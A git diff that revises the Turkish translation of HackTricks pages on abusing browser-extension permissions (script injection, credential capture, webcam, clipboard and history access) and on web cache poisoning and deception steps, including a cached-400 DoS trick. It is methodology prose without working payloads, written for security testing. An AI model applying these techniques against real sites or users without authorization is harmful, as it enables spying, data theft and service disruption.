+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index a5ff272ba..351de9b6c 100644
--- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -1,16 +1,16 @@
-# BrowExt - izinler ve host\_permissions
+# BrowExt - izinler ve host_permissions
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -20,11 +20,11 @@ HackTricks'ı desteklemenin diğer yolları:
İzinler, genellikle bir tarayıcının erişebileceği hemen hemen her şeye erişim sağlayan **`manifest.json`** dosyasında tanımlanır ve (Çerezler veya Fiziksel Depolama):
-Önceki manifest dosyası, uzantının `storage` iznini gerektirdiğini belirtir. Bu, [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanarak verilerini kalıcı olarak depolayabilir. Kullanıcılara belirli bir kontrol seviyesi sağlayan çerezler veya `localStorage` API'lerinin aksine, **uzantı depolaması genellikle yalnızca uzantının kaldırılmasıyla temizlenebilir**.
+Önceki manifest dosyası, uzantının `storage` iznini gerektirdiğini belirtir. Bu, [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanarak verilerini kalıcı olarak depolayabilir. Kullanıcılara belirli bir kontrol seviyesi sunan çerezler veya `localStorage` API'lerinin aksine, **uzantı depolaması genellikle yalnızca uzantının kaldırılmasıyla temizlenebilir**.
Bir uzantı, **`manifest.json`** dosyasında belirtilen izinleri isteyecek ve Uzantıyı yükledikten sonra, tarayıcınızda **her zaman izinlerini kontrol edebilirsiniz**, bu resimde gösterildiği gibi:
-
+
[Chromium Tarayıcı Uzantısının isteyebileceği izinlerin tam listesini burada bulabilirsiniz](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) ve [Firefox uzantıları için tam liste burada](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.**
@@ -49,13 +49,11 @@ Aşağıdaki `host_permissions` temel olarak her web sitesine izin verir:
""
]
```
-Bu, tarayıcı uzantısının serbestçe erişebileceği ana bilgisayarlar. Bu, bir tarayıcı uzantısı **`fetch("https://gmail.com/")`** çağırdığında CORS tarafından kısıtlanmadığı için geçerlidir.
-
## `permissions` ve `host_permissions` Kötüye Kullanımı
### Sekmeler
-Ayrıca, **`host_permissions`** ayrıca “gelişmiş” [**sekme API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **işlevselliğini** açar. Bunlar uzantının [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) çağrısına izin verir ve sadece kullanıcının tarayıcı sekmelerinin bir **listesini almakla kalmaz, aynı zamanda yüklenen web sayfasının (adres ve başlık anlamına gelen) hangisi olduğunu da öğrenir**.
+Ayrıca, **`host_permissions`** ayrıca "gelişmiş" [**sekme API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **işlevselliğini** açar. Bu, uzantının [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) çağrısına izin verir ve sadece kullanıcının tarayıcı sekmelerinin bir **listesini almakla kalmaz, aynı zamanda yüklenen web sayfasının (adres ve başlık anlamına gelen) hangisi olduğunu da öğrenir.**
{% hint style="danger" %}
Bununla birlikte, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) gibi dinleyiciler de **daha da kullanışlı hale gelir**. Bunlar, bir sekme içine yeni bir sayfa yüklendiğinde bildirilecektir.
@@ -63,61 +61,53 @@ Bununla birlikte, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/
### İçerik betiklerinin çalıştırılması
-İçerik betikleri genellikle uzantı manifestosuna statik olarak yazılmaz. Yeterli **`host_permissions`** verildiğinde, **uzantılar ayrıca** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **veya** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **çağrılarak bunları dinamik olarak yükleyebilir**.
+İçerik betikleri genellikle uzantı manifestosuna statik olarak yazılmaz. Yeterli **`host_permissions`** verildiğinde, **uzantılar ayrıca** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **veya** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **çağrısını yaparak bunları dinamik olarak yükleyebilir.**
-Her iki API de, içerik betikleri olarak uzantı içinde bulunan dosyaları değil, aynı zamanda **keyfi kodu da yürütmeye olanak tanır**. İlk olan, JavaScript kodunu bir dize olarak iletmeyi sağlarken, ikincisi enjeksiyon güvenlik açıklarına daha az duyarlı bir JavaScript işlevini bekler. Yine de, her iki API de yanlış kullanıldığında ciddi sorunlara yol açabilir.
+Her iki API de, içerik betikleri olarak uzantı içinde bulunan dosyaları değil, aynı zamanda **keyfi kodu da yürütmeye olanak tanır**. İlk API, JavaScript kodunu bir dize olarak iletmeyi sağlarken, ikincisi enjeksiyon güvenlik açıklarına daha az duyarlı olan bir JavaScript işlevi bekler. Yine de, her iki API de yanlış kullanıldığında ciddi sorunlara yol açabilir.
{% hint style="danger" %}
-Yukarıdaki yeteneklerin yanı sıra, içerik betikleri örneğin **kimlik bilgilerini** girildiği gibi alabilir. Bunları kötüye kullanmanın klasik yollarından biri de her web sitesine **reklam enjekte etmektir**. Haber sitelerinin güvenilirliğini kötüye kullanmak için **dolandırıcılık mesajları** eklemek de mümkündür. Son olarak, bankacılık web sitelerini **para transferlerini yeniden yönlendirmek için manipüle edebilirler**.
+Yukarıdaki yeteneklerin yanı sıra, içerik betikleri örneğin **web sayfalarına girilen kimlik bilgilerini** ele geçirebilir. Bunları kötüye kullanmanın klasik yollarından biri her web sitesine **reklam enjekte etmektir**. Haber sitelerinin güvenilirliğini kötüye kullanmak için **dolandırıcılık mesajları eklemek** de mümkündür. Son olarak, bankacılık web sitelerini **para transferlerini yeniden yönlendirmek için manipüle edebilirler.**
{% endhint %}
### Dolaylı ayrıcalıklar
-Bazı uzantı ayrıcalıkları **açıkça bildirilmek zorunda değildir**. Bir örnek, [sekme API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) dir: temel işlevselliğine hiçbir ayrıcalık olmadan erişilebilir. Herhangi bir uzantı, açtığınız ve kapattığınız sekmeleri bildirilebilir, yalnızca bu sekmelerin hangi web sitesine karşılık geldiğini bilemez.
+Bazı uzantı ayrıcalıkları **açıkça bildirilmek zorunda değildir**. Bir örnek, [sekme API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) dir: temel işlevselliğine hiçbir ayrıcalık olmadan erişilebilir. Herhangi bir uzantı, açtığınız ve kapattığınız sekmeler hakkında bilgilendirilebilir, ancak bu sekmelerin hangi web sitesine karşılık geldiğini bilemeyecektir.
-Çok zararsız görünüyor mu? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) biraz daha az zararlıdır. Yeni bir sekme oluşturmak için kullanılabilir, temelde herhangi bir web sitesi tarafından çağrılabilen [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ile aynıdır. Ancak `window.open()` pop-up engeline tabidir, `tabs.create()` değildir.
+Çok zararsız görünüyor mu? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) biraz daha az zararlıdır. Yeni bir sekme oluşturmak için kullanılabilir, temelde herhangi bir web sitesi tarafından çağrılabilen [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ile aynıdır. Ancak `window.open()` pop-up engeline tabi iken, `tabs.create()` değildir.
{% hint style="danger" %}
-Bir uzantı istediğinde her zaman istediği sayıda sekme oluşturabilir.
+Bir uzantı, istediğinde herhangi bir sayıda sekme oluşturabilir.
{% endhint %}
-`tabs.create()` parametrelerini incelediğinizde, yeteneklerinin `window.open()` tarafından kontrol edilmesine izin verilenin çok ötesine gittiğini fark edeceksiniz. Ve Firefox, bu API ile `data:` URI'larının kullanılmasına izin vermezken, Chrome'un böyle bir koruması yoktur. **Bu tür URI'ların üst düzeyde kullanımı** [**dolandırıcılık için kötüye kullanıldığından yasaklanmıştır**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.**
+`tabs.create()` parametrelerini incelediğinizde, yeteneklerinin `window.open()`'in kontrol etmesine izin verilenin çok ötesine gittiğini fark edeceksiniz. Ve Firefox, bu API ile `data:` URI'ların kullanılmasına izin vermezken, Chrome'un böyle bir koruması yoktur. **Bu tür URI'ların üst düzeyde kullanımı** [**dolandırıcılık amacıyla kötüye kullanıldığı için yasaklanmıştır**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.**
-[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()`'ye çok benzer ancak **mevcut bir sekmeyi değiştirir**. Bu nedenle, kötü niyetli bir uzantı örneğin reklam sayfasını rastgele bir sekmesine yükleyebilir ve ilgili sekmeyi de etkinleştirebilir.
+[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()`'e çok benzer ancak **mevcut bir sekmeyi değiştirir**. Bu nedenle, kötü niyetli bir uzantı örneğin reklam sayfasını keyfi olarak sekmelerinizden birine yükleyebilir ve ilgili sekmeyi de etkinleştirebilir.
### Kamera, coğrafi konum ve arkadaşlar
-Muhtemelen web sitelerinin özel izinler isteyebileceğini biliyorsunuz, örneğin kameranıza (video konferans araçları) veya coğrafi konumunuza (haritalar) erişmek için. Bu, kötüye kullanım potansiyeli yüksek özelliklerdir, bu nedenle kullanıcılar her seferinde bunu hala istediklerine dair onay vermek zorundadır.
+Muhtemelen web sitelerinin özel izinler isteyebileceğini biliyorsunuzdur, örneğin web kamerasına (video konferans araçları) veya coğrafi konuma (haritalar) erişmek için. Bu, kötüye kullanım potansiyeli yüksek özelliklerdir, bu nedenle kullanıcılar her seferinde bunu hala istediklerine dair onay vermek zorundadır.
{% hint style="danger" %}
-Ancak tarayıcı uzantıları için durum farklıdır. **Bir tarayıcı uzantısı** [**kameranıza veya mikrofonunuza erişmek istiyorsa**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, sadece bir kez izin istemesi yeterlidir**
+Ancak tarayıcı uzantıları için durum farklıdır. **Tarayıcı uzantısı** [**web kamerasına veya mikrofona erişmek istiyorsa**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, izin sadece bir kez istenmelidir**
{% endhint %}
-Genellikle, bir uzantı bunu yüklendikten hemen sonra yapar. Bu izin verildiğinde, **kamera erişimi her zaman mümkündür**, hatta kullanıcı bu noktada uzantıyla etkileşimde değilse. Evet, bir kullanıcı yalnızca uzantının gerçekten kamera erişimine ihtiyaç duyduğunda bu izni kabul eder. Ancak bundan sonra uzantının gizlice bir şey kaydetmemesi için uzantıya güvenmek zorundadır.
+Genellikle, bir uzantı bunu yüklendikten hemen sonra yapar. Bu izin verildiğinde, **web kamerasına her zaman erişilebilir**, hatta kullanıcı bu noktada uzantıyla etkileşimde değilse bile. Evet, bir kullanıcı yalnızca uzantının gerçekten web kamerasına ihtiyacı olduğunda bu izni kabul eder. Ancak bundan sonra uzantının gizlice herhangi bir şey kaydetmemesi için uzantıya güvenmek zorundadır.
-[Doğru coğrafi konumunuza](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) veya [panonuzun içeriğine](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API) erişim için açıkça izin vermek gerekli değildir. **Bir uzantı sadece manifestosunun** [**izinler girişine**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **`geolocation` veya `clipboard` ekler**. Bu erişim ayrıcalıkları, uzantı yüklendiğinde zımni olarak verilir. Bu nedenle, bu ayrıcalıklara sahip kötü niyetli veya tehlikeye atılmış bir uzantı, fark etmeden hareket profilinizi oluşturabilir veya panonuzu kopyalanan şifreler için izleyebilir.
+[**Tam olarak coğrafi konumunuz**](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) veya [**panonuzun içeriği**](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API) erişimine, açıkça izin verme gerekmez. **Bir uzantı sadece manifestosunun** [**izinler girişine**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **`geolocation` veya `clipboard` ekler.** Bu erişim ayrıcalıkları, uzantı yüklendiğinde zımni olarak verilir. Bu nedenle, bu ayrıcalıklara sahip kötü niyetli veya tehlikeye atılmış bir uzantı, fark etmeden hareket profilinizi oluşturabilir veya panonuzu kopyalanan şifreler için izleyebilir.
-[**history`** anahtarını uzantı manifestosunun [izinler girişine](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) eklemek, **kullanıcının tüm gezinme geçmişine** [**erişim sağlar**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Bu, kullanıcının bu web sitelerini tekrar ziyaret etmesini beklemeksizin tüm gezinme geçmişini almayı sağlar.
+[**history`** anahtarını uzantı manifestosunun [izinler girişine](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) eklemek, **kullanıcının tüm gezinme geçmişine** [**erişim sağlar**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Bu, kullanıcının bu web sitelerini tekrar ziyaret etmesini beklemeksizin tüm gezinme geçmişini almayı mümkün kılar.
-**`bookmarks`** **izin** benzer kötüye kullanım potansiyeline sahiptir, bu izin **tüm yer işaretlerini** [**yer işaretleri API'si**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **aracılığıyla okumayı sağlar**.
+**`bookmarks`** **izin** benzer kötüye kullanım potansiyeline sahiptir, bu izin **tüm yer işaretlerini** [**yer işaretleri API'si**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **aracılığıyla okumayı sağlar.**
### Depolama izni
Uzantı depolama alanı yalnızca bir anahtar-değer koleksiyonudur, herhangi bir web sitesinin kullanabileceği [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) ile çok benzerdir. Bu nedenle burada hassas bilgiler saklanmamalıdır.
-Ancak, reklam şirketleri de bu depoyu kötüye kullanabilir.
+Ancak, reklam şirketleri de bu depolamayı kötüye kullanabilir.
### Daha fazla izin
[**Bir Chromium Tarayıcı Uzantısının isteyebileceği izinlerin tam listesini burada bulabilirsiniz**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) ve [**Firefox uzantıları için tam listeyi burada bulabilirsiniz**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.**
-
-## Önleme
-
-Google'ın geliştirici politikası, uzantıların işlevselliği için gerekli olan ayrıcalıklardan fazlasını istemelerini açıkça yasaklayarak aşırı izin isteklerini etkili bir şekilde azaltır. Bir tarayıcı uzantısının bu sınırı aşmasıyla ilgili bir örnek, tarayıcıyla birlikte tarayıcıda dağıtılmasıydı, bir eklenti mağazası aracılığıyla değil.
-
-Tarayıcılar, uzantı ayrıcalıklarının kötüye kullanımını daha da azaltabilir. Örneğin, ekran kaydı için kullanılan Chrome'un [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) ve [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API'ları, kötüye kullanımı en aza indirmek amacıyla tasarlanmıştır. tabCapture API'si, uzantı simgesine tıklama gibi doğrudan kullanıcı etkileşimi aracılığıyla yalnızca etkinleştirilebilirken, desktopCapture, kaydedilecek pencerenin onayını almak için kullanıcı onayı gerektirir, gizlice kayıt faaliyetlerini önler.
-
-Ancak, güvenlik önlemlerini sıkılaştırmak genellikle uzantıların esnekliğinin ve kullanıcı dostu olma özelliğinin azalmasına neden olur. [activeTab izni](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission) bu dengeyi gösterir. Uzantıların tüm internet üzerinde ana bilgisayar ayrıcalıkları istemelerine gerek kalmadan yalnızca kullanıcının açıkça etkinleştirmesi durumunda yalnızca mevcut sekmeye erişmelerine izin vermek için tanıtıldı. Bu model, kullanıcı tarafından başlatılan eylemler gerektiren uzantılar için etkilidir ancak otomatik veya önceden hareket gerektiren uzantılar için yetersiz kalır, bu da kullanım kolaylığını ve anında yanıt verme yeteneğini tehlikeye atar.
## **Referanslar**
* [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
@@ -132,7 +122,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md
index 8f55e5f27..d723f2000 100644
--- a/pentesting-web/cache-deception.md
+++ b/pentesting-web/cache-deception.md
@@ -10,14 +10,14 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -27,31 +27,31 @@ Bugün Erişim Alın:
> **Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?**
>
> * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü niyetli içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
-> * **Web önbellek aldatmacasında**, saldırgan uygulamayı önbelleğe başka bir kullanıcıya ait hassas içerikler depolamaya zorlar ve ardından bu içeriği önbellekten alır.
+> * **Web önbellek aldatmacasında**, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe depolamaya zorlar ve ardından bu içeriği önbellekten alır.
## Önbellek Zehirlenmesi
-Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirletilmiş yanıtın yalnızca önbellek kirliliği döneminde sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır.
+Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirletilmiş yanıtın yalnızca önbelleğin kirletilme süresi boyunca sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır.
Önbellek zehirlenmesi saldırısının gerçekleştirilmesi birkaç adımı içerir:
-1. **Anahtarsız Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilecek parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir.
-2. **Anahtarsız Girişlerin Sömürülmesi**: Anahtarsız girişleri tanımladıktan sonra, bir sonraki adım bu parametreleri nasıl kötüye kullanacağınızı belirlemeyi içerir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir.
-3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin zehirlendiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı kirletilmiş yanıtı alacaktır.
+1. **Anahtarlanmamış Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir.
+2. **Anahtarlanmamış Girişlerin Sömürülmesi**: Anahtarlanmamış girişleri tanımladıktan sonra, bir sonraki adım bu parametreleri nasıl kötüye kullanacağınızı belirlemeyi içerir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir.
+3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin zehirlendiği süre zarfında etkilenen sayfaya erişen herhangi bir kullanıcı kirletilmiş yanıtı alacaktır.
### Keşif: HTTP başlıklarını kontrol edin
-Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken hangi başlıklar olduğunu bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken başlıkları bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Keşif: 400 kodunu önbelleğe alma
-Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek gönderebilirsiniz**, bu da bir **durum kodu 400** ile yanıtlanmalıdır. Daha sonra isteği normal olarak erişmeyi deneyin ve yanıtın bir 400 durum kodu olup olmadığını kontrol edin, bu durumda zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).\
+Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da bir **durum kodu 400** ile yanıtlanmalıdır. Sonra isteği normal olarak erişmeyi deneyin ve yanıtın **400 durum kodu** olduğunu gördüğünüzde, zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).\
Kötü yapılandırılmış bir başlık sadece `\:` olabilir.\
-_Not: Bu tür durum kodlarının bazen önbelleğe alınmadığını unutmayın, bu test işe yaramaz olabilir._
+_Not: Bazen bu tür durum kodları önbelleğe alınmaz, bu test işe yaramaz olabilir._
-### Keşif: Anahtarsız girişleri tanımlama ve değerlendirme
+### Keşif: Anahtarlanmamış girişleri tanımlayın ve değerlendirin
-[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek parametreleri ve başlıkları **brute-force** yöntemiyle belirleyebilirsiniz. Örneğin, bir sayfa istemciye betiği oradan yüklemesi için `X-Forwarded-For` başlığını kullanabilir.
+[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek **parametreleri ve başlıkları brute-force** yöntemiyle belirleyebilirsiniz. Örneğin, bir sayfa, istemciye betiği oradan yüklemesi için `X-Forwarded-For` başlığını kullanıyor olabilir:
```markup
```
@@ -61,13 +61,13 @@ Belirlenen parametre/başlık ile kontrol edin, nasıl **temizlendiğini** ve ne
### Yanıtı önbelleğe alın
-Kötüye kullanılabilecek **sayfayı** belirledikten sonra hangi **parametre/başlık**'ı kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeler yapmanız gerekebilir.\
-Yanıtta bulunan **`X-Cache`** başlığı, isteğin önbelleğe alınmadığı durumlarda **`miss`** değerine sahip olabileceği gibi, önbelleğe alındığında **`hit`** değerine sahip olabilir.\
-**`Cache-Control`** başlığı da ilginç olabilir, bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını bilmek için: `Cache-Control: public, max-age=1800`\
-Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak işlenen normalde anahtarlanmamış ek başlıkları belirtmek için kullanılır. Bu nedenle, kullanıcı hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\
-Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca olduğunu tanımlar.
